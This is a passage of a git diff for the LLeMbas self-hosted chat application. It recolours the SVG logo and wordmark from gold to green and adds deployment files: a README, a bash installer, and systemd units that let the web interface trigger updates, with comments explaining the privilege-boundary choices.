-      <path d="M37.8 27.0 Q40.8 27.9 43.2 28.1"/>
+      <path d="M37.8 26.9 Q39.4 28.2 40.9 28.2"/>
     </g>
   </g>
   </g>

assets/logo-mark.svg

@@ -1,49 +1,49 @@
 <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 64 64" width="64" height="64"
      role="img" aria-label="LLeMbas">
   <title>LLeMbas</title>
-  <desc>A silver mallorn leaf laid across a scored golden lembas wafer.</desc>
+  <desc>A pale mallorn leaf laid across a scored green lembas wafer.</desc>
   <defs>
     <linearGradient id="m-wafer" x1="0" y1="0" x2="0.3" y2="1">
-      <stop offset="0" stop-color="#EACB74"/>
+      <stop offset="0" stop-color="#7FB758"/>
-      <stop offset="0.5" stop-color="#C9A227"/>
+      <stop offset="0.5" stop-color="#4C8C33"/>
-      <stop offset="1" stop-color="#916F13"/>
+      <stop offset="1" stop-color="#2A5522"/>
     </linearGradient>
     <linearGradient id="m-leaf" x1="0.1" y1="1" x2="0.9" y2="0">
-      <stop offset="0" stop-color="#93A5B6"/>
+      <stop offset="0" stop-color="#9DB49A"/>
-      <stop offset="0.4" stop-color="#F1F6FA"/>
+      <stop offset="0.4" stop-color="#F3F8EE"/>
-      <stop offset="1" stop-color="#B8C7D5"/>
+      <stop offset="1" stop-color="#C6D8BE"/>
     </linearGradient>
     <clipPath id="m-clip">
-      <rect x="6" y="6" width="52" height="52" rx="13"/>
+      <rect x="5" y="5" width="54" height="54" rx="14"/>
     </clipPath>
   </defs>
-  <rect x="6" y="6" width="52" height="52" rx="13" fill="url(#m-wafer)"/>
+  <rect x="5" y="5" width="54" height="54" rx="14" fill="url(#m-wafer)"/>
   <g clip-path="url(#m-clip)" fill="none" stroke-linecap="round">
-    <g stroke="#7A5C10" stroke-opacity="0.38" stroke-width="2">
+    <g stroke="#1F4019" stroke-opacity="0.30" stroke-width="1.8">
-      <path d="M32 6 V58"/>
+      <path d="M32 5 V59"/>
-      <path d="M6 32 H58"/>
+      <path d="M5 32 H59"/>
     </g>
-    <g stroke="#F6E3A8" stroke-opacity="0.3" stroke-width="1">
+    <g stroke="#C7E7A6" stroke-opacity="0.20" stroke-width="0.9">
-      <path d="M33.2 6 V58"/>
+      <path d="M33.1 5 V59"/>
-      <path d="M6 33.2 H58"/>
+      <path d="M5 33.1 H59"/>
     </g>
   </g>
-  <rect x="7.1" y="7.1" width="49.8" height="49.8" rx="11.9"
+  <rect x="6.1" y="6.1" width="51.8" height="51.8" rx="12.9"
-        fill="none" stroke="#7A5C10" stroke-opacity="0.3" stroke-width="1.2"/>
+        fill="none" stroke="#1F4019" stroke-opacity="0.32" stroke-width="1.2"/>
   <g>
-    <path d="M21.2 44.8 L17 49.4" stroke="#8A9AA8" stroke-width="3"
+    <path d="M21.4 45.6 L16.3 51.2" stroke="#8B9E86" stroke-width="3"
           stroke-linecap="round" fill="none"/>
-    <path d="M20.5 45.5 C13.8 31.7 23.8 20.9 45.5 18.5 C49.8 35 39.8 45.8 20.5 45.5 Z" fill="url(#m-leaf)"/>
+    <path d="M21 46 C19.6 40.5 20.4 34.2 23.4 30.5 C27.5 25.5 35 20.5 46 18 C43.5 26.5 40.5 36.5 36.1 41.9 C33 45.6 26.5 47 21 46 Z" fill="url(#m-leaf)"/>
-    <path d="M20.5 45.5 C28 38 36 29 45.5 18.5" fill="none" stroke="#61758A" stroke-opacity="0.5"
+    <path d="M21 46 Q30.5 34.5 46 18" fill="none" stroke="#57734F" stroke-opacity="0.5"
           stroke-width="1.5" stroke-linecap="round"/>
-    <g fill="none" stroke="#61758A" stroke-opacity="0.32"
+    <g fill="none" stroke="#57734F" stroke-opacity="0.32"
        stroke-width="1" stroke-linecap="round">
-      <path d="M26.9 38.8 Q25.2 35.8 24.9 32.1"/>
+      <path d="M26.8 39.2 Q24.9 37.4 24.7 35.3"/>
-      <path d="M32.3 33.1 Q30.9 30.3 30.4 26.9"/>
+      <path d="M32.0 33.3 Q30.1 31.5 29.8 29.2"/>
-      <path d="M37.8 27.0 Q36.6 24.6 36.3 21.7"/>
+      <path d="M37.8 26.9 Q36.4 25.6 36.1 23.7"/>
-      <path d="M26.9 38.8 Q30.5 40.1 33.7 40.3"/>
+      <path d="M26.8 39.2 Q28.7 40.9 30.7 40.8"/>
-      <path d="M32.3 33.1 Q35.8 34.3 38.6 34.5"/>
+      <path d="M32.0 33.3 Q33.9 35.0 36.1 34.9"/>
-      <path d="M37.8 27.0 Q40.8 27.9 43.2 28.1"/>
+      <path d="M37.8 26.9 Q39.4 28.2 40.9 28.2"/>
     </g>
   </g>
 </svg>

assets/wordmark.svg

@@ -5,10 +5,10 @@
        LLM and take the accent colour; see scripts/build_artwork.py. -->
   <style>
     .base { fill: var(--lembas-ink, #1B1F23); }
-    .accent { fill: var(--lembas-gold, #C9A227); }
+    .accent { fill: var(--lembas-leaf, #4C7A22); }
     @media (prefers-color-scheme: dark) {
       .base { fill: var(--lembas-ink, #EDE6D6); }
-      .accent { fill: var(--lembas-gold, #E0B252); }
+      .accent { fill: var(--lembas-leaf, #9BCC5A); }
     }
   </style>
   <g transform="translate(-5.07 110.15)">

deploy/README.md

@@ -0,0 +1,258 @@
+# Deployment
+
+Installs LLeMbas as a **system** service behind nginx with a self-signed
+certificate. Written for a systemd + nginx host; tested on Arch.
+
+| | Default |
+|---|---|
+| Service user | `lembas` (system account, `nologin`) |
+| Home | `/home/lembas` |
+| Install prefix | `/srv/lembas` (bind mount of the home) |
+| Checkout | `$PREFIX/app` |
+| Virtualenv | `$PREFIX/venv` |
+| Database | `$PREFIX/data/lembas.db` |
+| Environment | `$PREFIX/lembas.env` (mode 600) |
+| Unit | `/etc/systemd/system/lembas.service` |
+| Vhost | `/etc/nginx/conf.d/<host>.conf` |
+| Listens on | `127.0.0.1:8080` — reachable only through nginx |
+
+The prefix defaults to a bind mount of the service user's home because on many
+machines the root filesystem is small while `/home` is not, and the virtualenv
+plus database belong on the larger volume. Set `PREFIX=$HOME_DIR` to skip it.
+
+## First install
+
+```bash
+SITE_HOST=chat.example ./deploy/install.sh
+```
+
+Idempotent — safe to re-run. It creates the user and bind mount, clones the
+repo, builds the venv, generates `lembas.env` with a fresh `LEMBAS_SECRET_KEY`,
+installs the unit and vhost, issues a self-signed certificate, adds a
+`/etc/hosts` entry if the name does not already resolve, and enables the
+service.
+
+Then open `https://<SITE_HOST>`, accept the certificate warning, and create the
+first account — it becomes the administrator.
+
+Everything is overridable from the environment:
+
+| Variable | Default | |
+|---|---|---|
+| `SITE_HOST` | `lembas.local` | nginx `server_name` and certificate CN |
+| `APP_PORT` | `8080` | loopback port the service binds |
+| `SERVICE_USER` | `lembas` | system account to run as |
+| `HOME_DIR` | `/home/lembas` | that account's home |
+| `PREFIX` | `/srv/lembas` | install root (bind mount of `HOME_DIR`) |
+| `REPO_URL` | this checkout's `origin` | so a fork deploys itself. **Must be https** — see below |
+| `LEMBAS_BRANCH` | `main` | branch to fetch, and what the `edge` channel follows |
+| `LEMBAS_CHANNEL` | `stable` | `stable` follows release tags, `edge` follows the branch tip |
+| `INSTALL_UPDATE_HELPER` | `0` | `1` lets the web interface deploy that branch as root |
+
+**The deployment fetches over HTTPS, on purpose.** The service user has no SSH
+key and should not have one: a credential that can push to the repository,
+sitting on a box, to do a read-only job. If you push over SSH your checkout's
+`origin` is an `ssh://` URL, which is the one thing that cannot work here — so
+the installer refuses it and names the fix rather than letting the clone fail
+with `Permission denied (publickey)` from an account you were not thinking about.
+
+## Channels
+
+| | follows | for |
+|---|---|---|
+| `stable` (default) | the newest `vX.Y.Z` tag | anybody running this |
+| `edge` | the tip of `LEMBAS_BRANCH` | whoever is building it |
+
+**A branch tip is not a release.** Following `main` means deploying whatever was
+pushed five minutes ago, possibly mid-feature — right for development and wrong
+for a machine somebody depends on. Stable is the default for that reason.
+
+A tag with a suffix (`v1.1.0-rc1`) is deliberately **not** a release: git's
+version sort puts it *above* `v1.1.0`, so accepting one would step a stable host
+onto a release candidate on the strength of a hyphen. A prerelease is something
+you check out by name.
+
+Release notes travel inside **annotated** tags, so `git tag -a v1.1.0 -m "…"` is
+what puts them on the update page. Tags here are **signed** (`tag.gpgSign`), and
+the notes render the same either way — `updates._notes_for` cuts the
+`-----BEGIN SSH SIGNATURE-----` block off `%(contents)`, which would otherwise be
+forty lines of base64 on the page. No forge API is involved anywhere — which
+matters more than it sounds: a token on the deployment host to answer a
+read-only question about version numbers is a bad trade, it would tie this to
+one forge, and the Gitea API this was checked against returns a 500 from a
+server-side panic on exactly that endpoint.
+
+## Updating from the web interface
+
+`/admin/updates` says what is running (`git describe`, so `1.0.0` at a tag and
+`1.0.0-7-gd4f56d` seven commits past one), what the channel offers, the release
+notes, and the commits between. **Checking** reaches the remote; opening the page
+does not.
+
+The button is opt-in, and the reason is a boundary rather than caution:
+
+```bash
+INSTALL_UPDATE_HELPER=1 SITE_HOST=chat.example ./deploy/install.sh
+```
+
+That installs `lembas-update.path` and `lembas-update.service`, and puts a
+**root-owned copy** of `update.sh` at `/usr/local/lib/lembas/update.sh`. The web
+interface writes `$PREFIX/data/update-requested`; the path unit notices and the
+service runs that copy **as root**, on the configured channel.
+
+**Why a copy.** The unit used to point inside the checkout, and `install.sh`
+clones the checkout *as the service user* — so root was executing a file the
+unprivileged account could rewrite, and one that every update replaces with
+whatever the branch contained. Either turns a compromise of the web application
+into root, and the second needs no compromise at all. The cost is that changing
+`update.sh` needs the installer re-run; the script tells you when its copy has
+fallen behind, and says so loudly if it finds itself running from inside the
+checkout.
+
+**If you installed the helper before 1.0.0, re-run the installer.** The old
+wiring stays until you do, and the update button cannot fix it — the button runs
+the old unit.
+
+**What that grants.** Anybody who can administer this web interface can then
+deploy whatever is on the configured branch and restart the service. That is the
+point of it, and it is why it is not the default.
+
+**What it deliberately does not grant.** The request file carries nothing that
+reaches a command line — no ref, no branch, no channel, no arguments, and its
+*contents* are never read at all. Both are baked into the unit at install time,
+so the button is always "deploy the channel this host was configured with" and
+never "deploy something else". Re-running the installer without the flag removes
+both units, the marker and the root-owned copy, and the page goes back to
+printing the manual command.
+
+A re-run **keeps the channel this host already follows** rather than resetting it
+to `stable`: the channel is declared in `lembas.env` and in the unit, a re-run
+keeps the first while rewriting the second, and an installer that silently moved
+one half was causing exactly the mismatch the Updates page detects.
+
+Without the helper the page says so and shows `sudo …/deploy/update.sh`, which is
+the same honest degradation the SSH and search extras have.
+
+## Deploying a change
+
+```bash
+git push
+./deploy/update.sh
+```
+
+`update.sh` fetches, hard-resets the deployment checkout to `origin/main`,
+reinstalls dependencies and restarts, printing the commits it pulled. The hard
+reset is deliberate: nothing is ever edited in place there, so there is no local
+work to preserve and no conflicts to resolve.
+
+## In a container
+
+A `Dockerfile` and a `docker-compose.yml` are in the repository root.
+
+```bash
+echo "LEMBAS_SECRET_KEY=$(python -c 'import secrets;print(secrets.token_urlsafe(48))')" > .env
+docker compose up -d
+```
+
+It publishes on `127.0.0.1:8080` and expects **a TLS reverse proxy in front**.
+That is a constraint, not a preference: a service worker and a microphone both
+require HTTPS or localhost, so over plain http on a LAN address the app cannot be
+installed and cannot dictate — and the session cookie is deliberately not marked
+`secure`, so an attacker on that network could steal a session.
+
+Three things about the image:
+
+- **No secret key is baked in**, and compose refuses to start without one. A key
+  in an image is a key every copy of that image shares, and rotating it signs
+  everybody out *and* makes stored upstream API keys unreadable.
+- **`.git` is excluded**, so `/admin/updates` inside a container says it was not
+  installed from a checkout and offers nothing. That is correct: a container is
+  updated by pulling a new image.
+- **One replica.** The generation registry, the stop mechanism, the terminal
+  sessions and the schedule ticker are all in-process — two would mean two
+  tickers and every schedule firing twice.
+
+## On Proxmox
+
+```bash
+CTID=140 SITE_HOST=chat.example ./deploy/lxc-install.sh
+```
+
+Run on the Proxmox host. It creates an **unprivileged** Debian container,
+installs the dependencies, and runs `deploy/install.sh` inside it — the same
+installer, so a fix there reaches this without anybody remembering. Unprivileged
+is not a default to change: nothing LLeMbas does needs privilege, because agent
+chats run their commands over SSH on some *other* machine.
+
+## Operating it
+
+```bash
+systemctl status lembas
+journalctl -u lembas -f
+sudo -u lembas /srv/lembas/venv/bin/lembas info      # paths and counts
+```
+
+Configuration lives in `$PREFIX/lembas.env`. Edit it and restart.
+
+## Notes
+
+**The secret key is generated once.** `install.sh` will not overwrite an
+existing `lembas.env`. Rotating `LEMBAS_SECRET_KEY` signs every user out *and*
+makes stored upstream API keys unreadable — they would have to be re-entered.
+
+**nginx buffering is off for a reason.** Replies stream as server-sent events.
+With `proxy_buffering on` (the default) nginx holds the entire reply and
+delivers it in one lump at the end, which is indistinguishable from streaming
+being broken. `proxy_read_timeout` is raised to an hour because a model can
+think for minutes before the first token.
+
+**The vhost passes WebSocket upgrades through, and must.** The terminal panel
+is the one WebSocket in LLeMbas. A `location` that sets `Connection ""` — which
+is what SSE alone needs, and what this template used to say — fails every
+handshake, and a failed handshake tells the browser nothing: no status, no
+reason. The `map $http_upgrade` at the top of the vhost yields the empty string
+when the client did not ask to upgrade, so streaming is unaffected. `update.sh`
+warns when the installed vhost has drifted from the template, because this is
+the failure most likely to be diagnosed as a bug in the application.
+
+**Every restart kills every open shell.** A reply being written is persisted
+with whatever it has; a terminal has nothing to persist, so a command still
+running on the far side is cut off. `update.sh` restarts unconditionally, so a
+deploy in the middle of somebody's `apt-get dist-upgrade` ends it. The panel is
+told why rather than silently reconnecting to a new shell, which would have
+lost the working directory and the half-typed command.
+
+**A terminal is not in the transcript, and is not logged.** The open and the
+close are logged with the user, the chat and the connection; what was typed is
+not recorded anywhere. That follows from the design — the chat's mode governs
+the model, not the person at the keyboard — but everything else an agent chat
+does *is* in the transcript, so it is a difference in kind and worth knowing
+before somebody goes looking for the history.
+
+**Nothing an agent does runs on this machine.** Agent chats execute their
+commands over SSH, on a host somebody added and prepared — a container, a VM,
+another machine. That is the whole isolation story, and it is why the unit can
+stay locked down instead of being opened up to make room for a sandbox.
+
+`ProtectSystem=full` rather than `strict` only because the data directory must
+be writable and `strict` would mean listing every path.
+
+The practical consequence for whoever runs this: **the security of an agent
+chat is the security of the host behind its SSH profile.** A throwaway
+container with the one project mounted into it is a very different thing from a
+key to a production server, and LLeMbas cannot tell them apart.
+
+**Use a real certificate if this is exposed beyond a trusted LAN.** The
+self-signed cert exists so the install works with no external dependencies;
+point `ssl_certificate` at a real one and nothing else needs to change.
+
+The session cookie is deliberately not marked `secure`, so that a LAN install
+over plain http can sign anybody in at all. That has always meant a network
+attacker on http could steal a session; with the terminal it also means they
+could open an interactive shell on the machine behind that chat. If the
+terminal is switched on, run this over TLS.
+
+**One worker only.** True of generations already — the registry is in-process —
+and sharper here: with two workers a browser reconnecting to its terminal could
+land in the process that has no shell for it, and silently open a second one on
+the same machine.

deploy/install.sh

@@ -0,0 +1,274 @@
+#!/usr/bin/env bash
+# Install LLeMbas as a system service behind nginx with a self-signed cert.
+#
+# Creates a dedicated service user, a virtualenv, a systemd unit and an nginx
+# vhost. Idempotent: safe to re-run. To deploy new code afterwards use
+# update.sh, which is what a `git push` should be followed by.
+#
+# Everything is configurable from the environment:
+#
+#   SITE_HOST=chat.example   ./deploy/install.sh    # vhost name
+#   APP_PORT=8080                                   # loopback port
+#   PREFIX=/srv/lembas                              # install root
+#   HOME_DIR=/home/lembas                           # service user's home
+#   REPO_URL=...                                    # defaults to this checkout's origin
+#
+# PREFIX defaults to a bind mount of HOME_DIR rather than living directly under
+# /srv, because on many machines the root filesystem is small and the venv plus
+# database belong on the larger /home volume. Set PREFIX=HOME_DIR to skip that.
+set -euo pipefail
+
+HERE="$(dirname "$(readlink -f "$0")")"
+
+SITE_HOST="${SITE_HOST:-lembas.local}"
+APP_PORT="${APP_PORT:-8080}"
+SERVICE_USER="${SERVICE_USER:-lembas}"
+HOME_DIR="${HOME_DIR:-/home/lembas}"
+PREFIX="${PREFIX:-/srv/lembas}"
+BRANCH="${LEMBAS_BRANCH:-main}"
+# Which channel this host follows: `stable` (the newest release tag) or `edge`
+# (the branch tip). Stable by default, because a branch tip is not a release --
+# following one means deploying whatever was pushed five minutes ago, which is
+# right for whoever builds this and wrong for whoever runs it.
+# On a **re-run**, default to what this host already follows rather than to
+# `stable`. The channel lives in two places -- `lembas.env`, which the page
+# reads, and the systemd unit, which the button obeys -- and a re-run keeps the
+# env file ("keeping it, and its secret key") while rewriting the unit. So a
+# re-run to fix something unrelated silently moved one half and not the other,
+# and left the host with a page naming one channel and a button deploying
+# another. That mismatch has an alert of its own; an installer that *causes* it
+# is the wrong end to be detecting it from.
+#
+# Parsed, not sourced -- `lembas.env` holds the secret key, and there is no
+# reason for this to have it in a variable.
+_installed_channel=""
+if [[ -f "$PREFIX/lembas.env" ]]; then
+  _installed_channel=$(sed -n 's/^LEMBAS_UPDATE_CHANNEL=\([a-z]\{1,16\}\)$/\1/p' \
+    "$PREFIX/lembas.env" | tail -1)
+fi
+CHANNEL="${LEMBAS_CHANNEL:-${_installed_channel:-stable}}"
+# Whether to install the units that let the web interface update this host.
+# Off, and off on a re-run that does not ask for it: it grants anybody who can
+# administer the web UI the ability to deploy the branch, as root. See the
+# "Updating from the web interface" section of deploy/README.md.
+INSTALL_UPDATE_HELPER="${INSTALL_UPDATE_HELPER:-0}"
+# Default to wherever this checkout came from, so a fork deploys itself.
+REPO_URL="${REPO_URL:-$(git -C "$HERE" remote get-url origin 2>/dev/null || true)}"
+
+APP="$PREFIX/app"
+VENV="$PREFIX/venv"
+ENV_FILE="$PREFIX/lembas.env"
+
+if [[ -z "$REPO_URL" ]]; then
+  echo "Could not determine REPO_URL. Set it explicitly." >&2
+  exit 1
+fi
+
+# The deployment clones as the service user, which has no SSH key and should not
+# have one: a credential that can push to the repository, sitting on a box, to
+# do a read-only job. Whoever runs this usually has an ssh:// origin because
+# *they* push over SSH, so the default inherited from their checkout is the one
+# thing that cannot work here.
+#
+# The clone would fail loudly anyway. Saying so first turns "Permission denied
+# (publickey)" from the service user into a sentence that names the fix.
+if [[ "$REPO_URL" == ssh://* || "$REPO_URL" == git@* ]]; then
+  echo "== repository ==" >&2
+  echo "   $REPO_URL is an SSH URL, and $SERVICE_USER has no key." >&2
+  echo "   Set an https URL, which is what a deployment should fetch over:" >&2
+  echo "     REPO_URL=https://host/owner/repo.git $0" >&2
+  echo "   (Or give $SERVICE_USER a read-only deploy key and re-run.)" >&2
+  exit 1
+fi
+
+echo "== plan =="
+echo "   host    : https://$SITE_HOST  ->  127.0.0.1:$APP_PORT"
+echo "   user    : $SERVICE_USER ($HOME_DIR)"
+echo "   prefix  : $PREFIX"
+echo "   repo    : $REPO_URL ($BRANCH, $CHANNEL channel)"
+if [[ "$INSTALL_UPDATE_HELPER" == "1" ]]; then
+  echo "   updates : web interface may deploy $BRANCH as root (helper units)"
+else
+  echo "   updates : by hand only ($PREFIX/app/deploy/update.sh)"
+fi
+
+echo "== service user =="
+# --system: no ageing, no mail spool. Home under /home, not /var/lib, so the
+# venv and database sit on the larger volume.
+if ! getent passwd "$SERVICE_USER" >/dev/null; then
+  sudo useradd --system --create-home --home-dir "$HOME_DIR" \
+       --shell /usr/bin/nologin --comment "LLeMbas" "$SERVICE_USER"
+else
+  echo "   user $SERVICE_USER already exists"
+fi
+sudo chmod 755 "$HOME_DIR"
+
+if [[ "$PREFIX" != "$HOME_DIR" ]]; then
+  echo "== $PREFIX bind-mount onto $HOME_DIR =="
+  sudo mkdir -p "$PREFIX"
+  grep -q "^$HOME_DIR[[:space:]]" /etc/fstab \
+    || echo "$HOME_DIR  $PREFIX  none  bind  0 0" | sudo tee -a /etc/fstab >/dev/null
+  sudo systemctl daemon-reload
+  mountpoint -q "$PREFIX" || sudo mount "$PREFIX"
+fi
+
+echo "== checkout =="
+if [[ ! -d "$APP/.git" ]]; then
+  sudo -u "$SERVICE_USER" git clone --branch "$BRANCH" "$REPO_URL" "$APP"
+else
+  echo "   already cloned; use update.sh to pull"
+fi
+
+echo "== virtualenv =="
+if [[ ! -x "$VENV/bin/python" ]]; then
+  sudo -u "$SERVICE_USER" python -m venv "$VENV"
+fi
+sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet --upgrade pip
+# The extras a deployment gets. `search` because DuckDuckGo is the default web
+# search provider and is meant to need no setup; `ssh` because agent chats reach
+# their machine over it and a deployment without it offers the feature with an
+# install hint instead. Listed here AND in update.sh -- an extra added to only
+# one of them means existing deployments silently miss it.
+LEMBAS_EXTRAS="${LEMBAS_EXTRAS:-search,ssh}"
+sudo -u "$SERVICE_USER" "$VENV/bin/pip" install --quiet -e "$APP[$LEMBAS_EXTRAS]"
+
+echo "== environment =="
+# Generated once and never regenerated: rotating LEMBAS_SECRET_KEY signs every
+# user out AND makes the stored upstream API keys unreadable.
+if [[ ! -f "$ENV_FILE" ]]; then
+  KEY=$("$VENV/bin/python" -c "import secrets; print(secrets.token_urlsafe(48))")
+  sudo tee "$ENV_FILE" >/dev/null <<EOF
+# LLeMbas service environment. Generated by deploy/install.sh.
+# LEMBAS_SECRET_KEY signs sessions and encrypts stored API keys.
+# Changing it signs everyone out and makes stored API keys unreadable.
+LEMBAS_SECRET_KEY=$KEY
+LEMBAS_DATA_DIR=$PREFIX/data
+# Loopback only: reachable through the nginx vhost, never directly.
+LEMBAS_HOST=127.0.0.1
+LEMBAS_PORT=$APP_PORT
+LEMBAS_LOG_LEVEL=info
+LEMBAS_ALLOW_SIGNUP=true
+LEMBAS_DEFAULT_THEME=moria
+# Which branch /admin/updates compares against. Deployment configuration, not
+# an instance setting: it decides what code runs here, and a value a web
+# administrator could edit would turn "you may deploy the branch" into "you may
+# deploy anything".
+LEMBAS_UPDATE_BRANCH=$BRANCH
+# stable follows the newest release tag; edge follows the branch tip.
+LEMBAS_UPDATE_CHANNEL=$CHANNEL
+EOF
+  sudo chown "$SERVICE_USER:$SERVICE_USER" "$ENV_FILE"
+  sudo chmod 600 "$ENV_FILE"
+  echo "   generated $ENV_FILE"
+else
+  echo "   $ENV_FILE exists, keeping it (and its secret key)"
+fi
+
+sudo install -d -o "$SERVICE_USER" -g "$SERVICE_USER" -m 750 "$PREFIX/data"
+
+echo "== systemd unit =="
+sed -e "s|__PREFIX__|$PREFIX|g" -e "s|__SERVICE_USER__|$SERVICE_USER|g" \
+    "$HERE/lembas.service" | sudo tee /etc/systemd/system/lembas.service >/dev/null
+# Which version of the template this host is running. update.sh compares
+# against it and says so when the template moves on, because the installed
+# unit usually grows host-specific lines and cannot simply be overwritten.
+sha256sum "$HERE/lembas.service" | cut -d' ' -f1 | sudo tee "$PREFIX/.unit-applied" >/dev/null
+sudo systemctl daemon-reload
+
+echo "== update helper =="
+# Two units and a marker. The marker is what the web interface reads to decide
+# whether to offer the button at all -- a file rather than `systemctl
+# is-enabled`, because that would be a subprocess on every page render to answer
+# a question that changes once.
+UPDATE_MARKER="$PREFIX/data/.update-helper"
+# Where root's copy of the update script lives, and why it is a copy.
+#
+# The unit runs as root. Pointing its ExecStart at `$PREFIX/app/deploy/update.sh`
+# meant root executing a file owned by the **unprivileged service account** --
+# so anything able to write as that account could rewrite the script, create the
+# request file it also owns, and be root. That is the whole privilege boundary
+# the helper exists to keep, defeated by a `chown`.
+#
+# The second path is worse because it needs no compromise at all: an update
+# pulls new code *as the service user*, and root then runs whatever
+# `deploy/update.sh` that pull contained. Control of the branch would have been
+# control of root.
+#
+# So root runs a copy it owns, installed here, by an administrator, deliberately.
+# The cost is that improving `update.sh` needs `install.sh` re-run -- which is
+# the correct trade: root should not execute a script that arrived over the
+# network a moment ago.
+UPDATE_HELPER_DIR="/usr/local/lib/lembas"
+UPDATE_HELPER="$UPDATE_HELPER_DIR/update.sh"
+if [[ "$INSTALL_UPDATE_HELPER" == "1" ]]; then
+  sudo mkdir -p "$UPDATE_HELPER_DIR"
+  sudo install -o root -g root -m 755 "$HERE/update.sh" "$UPDATE_HELPER"
+  for unit in lembas-update.path lembas-update.service; do
+    sed -e "s|__PREFIX__|$PREFIX|g" \
+        -e "s|__SERVICE_USER__|$SERVICE_USER|g" \
+        -e "s|__UPDATE_BRANCH__|$BRANCH|g" \
+        -e "s|__UPDATE_CHANNEL__|$CHANNEL|g" \
+        -e "s|__UPDATE_HELPER__|$UPDATE_HELPER|g" \
+        "$HERE/$unit" | sudo tee "/etc/systemd/system/$unit" >/dev/null
+  done
+  sudo systemctl daemon-reload
+  sudo systemctl enable --now lembas-update.path
+  # The channel goes *into* the marker, not just its existence. It is declared
+  # in two places -- the unit above and lembas.env -- and this is what lets the
+  # Updates page notice when somebody has edited one and not the other.
+  echo "$CHANNEL" | sudo tee "$UPDATE_MARKER" >/dev/null
+  sudo chown "$SERVICE_USER:$SERVICE_USER" "$UPDATE_MARKER"
+  echo "   installed. The web interface can now deploy the $CHANNEL channel and restart."
+else
+  # Removed rather than left, so turning it off is re-running without the flag
+  # rather than remembering three commands. The button then says so and prints
+  # the manual one, which is the honest degradation.
+  sudo systemctl disable --now lembas-update.path 2>/dev/null || true
+  sudo rm -f /etc/systemd/system/lembas-update.path \
+             /etc/systemd/system/lembas-update.service "$UPDATE_MARKER" \
+             "$UPDATE_HELPER"
+  sudo systemctl daemon-reload
+  echo "   not installed (INSTALL_UPDATE_HELPER=1 to allow updating from the web UI)"
+fi
+
+echo "== self-signed cert for $SITE_HOST =="
+sudo mkdir -p /etc/nginx/ssl
+if [[ ! -f "/etc/nginx/ssl/$SITE_HOST.crt" ]]; then
+  sudo openssl req -x509 -newkey rsa:2048 -nodes \
+    -keyout "/etc/nginx/ssl/$SITE_HOST.key" -out "/etc/nginx/ssl/$SITE_HOST.crt" \
+    -days 3650 -subj "/CN=$SITE_HOST" -addext "subjectAltName=DNS:$SITE_HOST"
+  sudo chmod 600 "/etc/nginx/ssl/$SITE_HOST.key"
+  sudo chmod 644 "/etc/nginx/ssl/$SITE_HOST.crt"
+fi
+
+echo "== nginx vhost =="
+sed -e "s|__SITE_HOST__|$SITE_HOST|g" -e "s|__APP_PORT__|$APP_PORT|g" \
+    "$HERE/nginx-vhost.conf" | sudo tee "/etc/nginx/conf.d/$SITE_HOST.conf" >/dev/null
+sudo nginx -t
+sudo systemctl reload nginx
+
+# What this host was installed with, so update.sh can name the vhost it should
+# be comparing against and print a command that actually runs. Without it the
+# drift check below could only say "something changed somewhere".
+printf 'SITE_HOST=%s\nAPP_PORT=%s\n' "$SITE_HOST" "$APP_PORT" \
+  | sudo tee "$PREFIX/.deploy-env" >/dev/null
+sha256sum "$HERE/nginx-vhost.conf" | cut -d' ' -f1 \
+  | sudo tee "$PREFIX/.vhost-applied" >/dev/null
+
+echo "== local name resolution =="
+# Only useful when the LAN's DNS does not already answer for this name.
+if ! getent hosts "$SITE_HOST" >/dev/null; then
+  printf '127.0.0.1\t%s\n::1\t\t%s\n' "$SITE_HOST" "$SITE_HOST" | sudo tee -a /etc/hosts >/dev/null
+  echo "   added $SITE_HOST to /etc/hosts"
+else
+  echo "   $SITE_HOST already resolves"
+fi
+
+echo "== enable service =="
+sudo systemctl enable --now lembas
+sleep 2
+sudo systemctl --no-pager --lines=0 status lembas || true
+
+echo
+echo "LLeMbas is up at https://$SITE_HOST  (self-signed cert; accept the warning)"
+echo "Create the first account -- it becomes the administrator."

deploy/lembas-update.path

@@ -0,0 +1,23 @@
+# Watches for an update request written by the web interface.
+#
+# install.sh substitutes __PREFIX__ and writes the result to
+# /etc/systemd/system/lembas-update.path. Installed only when the installer is
+# run with INSTALL_UPDATE_HELPER=1 — see deploy/README.md for what that decision
+# means.
+#
+# `PathExists` rather than `PathChanged`: the service deletes the file as its
+# first act, so the unit re-arms itself and a second request fires again. With
+# `PathChanged` a request written while the service was running would be missed.
+
+[Unit]
+Description=Watch for a LLeMbas update request
+# Only while the thing being updated is meant to be running. Stopping lembas on
+# purpose should not leave a watcher that restarts it.
+PartOf=lembas.service
+
+[Path]
+PathExists=__PREFIX__/data/update-requested
+Unit=lembas-update.service
+
+[Install]
+WantedBy=multi-user.target

deploy/lembas-update.service

@@ -0,0 +1,47 @@
+# Runs deploy/update.sh when the web interface asks for it.
+#
+# install.sh substitutes __PREFIX__, __SERVICE_USER__ and __UPDATE_BRANCH__ and
+# writes the result to /etc/systemd/system/lembas-update.service.
+#
+# **What this grants.** Installing it means anybody who can administer the web
+# interface can deploy whatever is on the configured branch, as root, and
+# restart the service. That is the point of it, and it is why it is opt-in and
+# why the installer says so out loud rather than doing it by default.
+#
+# **What it deliberately does not grant.** The request file carries nothing that
+# reaches this command line: no ref, no branch, no channel, no arguments. Both
+# are baked in below from the installer's environment, so pressing the button is
+# "deploy the channel this host was configured with" and can never be "deploy
+# something else". Nothing reads the file's *contents* either -- `ExecStartPre`
+# deletes it and the `.path` unit only ever tested that it exists.
+#
+# And root runs a script **root owns**. See ExecStart.
+
+[Unit]
+Description=Apply a requested LLeMbas update
+# Not `After=lembas.service`: this restarts it, and an ordering dependency on
+# the thing being restarted is how a one-shot ends up waiting for itself.
+
+[Service]
+Type=oneshot
+# Deleted first, always. The path unit re-arms on the file existing, so leaving
+# it in place would run this again the moment the service came back -- an
+# update loop with no obvious cause. `-` so a failure to delete does not stop
+# the update, and `ExecStartPre` so it happens even if the script itself fails.
+ExecStartPre=-/usr/bin/rm -f __PREFIX__/data/update-requested
+Environment=SERVICE_USER=__SERVICE_USER__
+Environment=PREFIX=__PREFIX__
+Environment=LEMBAS_BRANCH=__UPDATE_BRANCH__
+Environment=LEMBAS_CHANNEL=__UPDATE_CHANNEL__
+# **Not** `__PREFIX__/app/deploy/update.sh`. That path is inside the checkout and
+# owned by the unprivileged service account, so root would have been executing a
+# file that account could rewrite -- and that an update could replace, since a
+# pull runs as that account and root runs whatever it fetched on the next press.
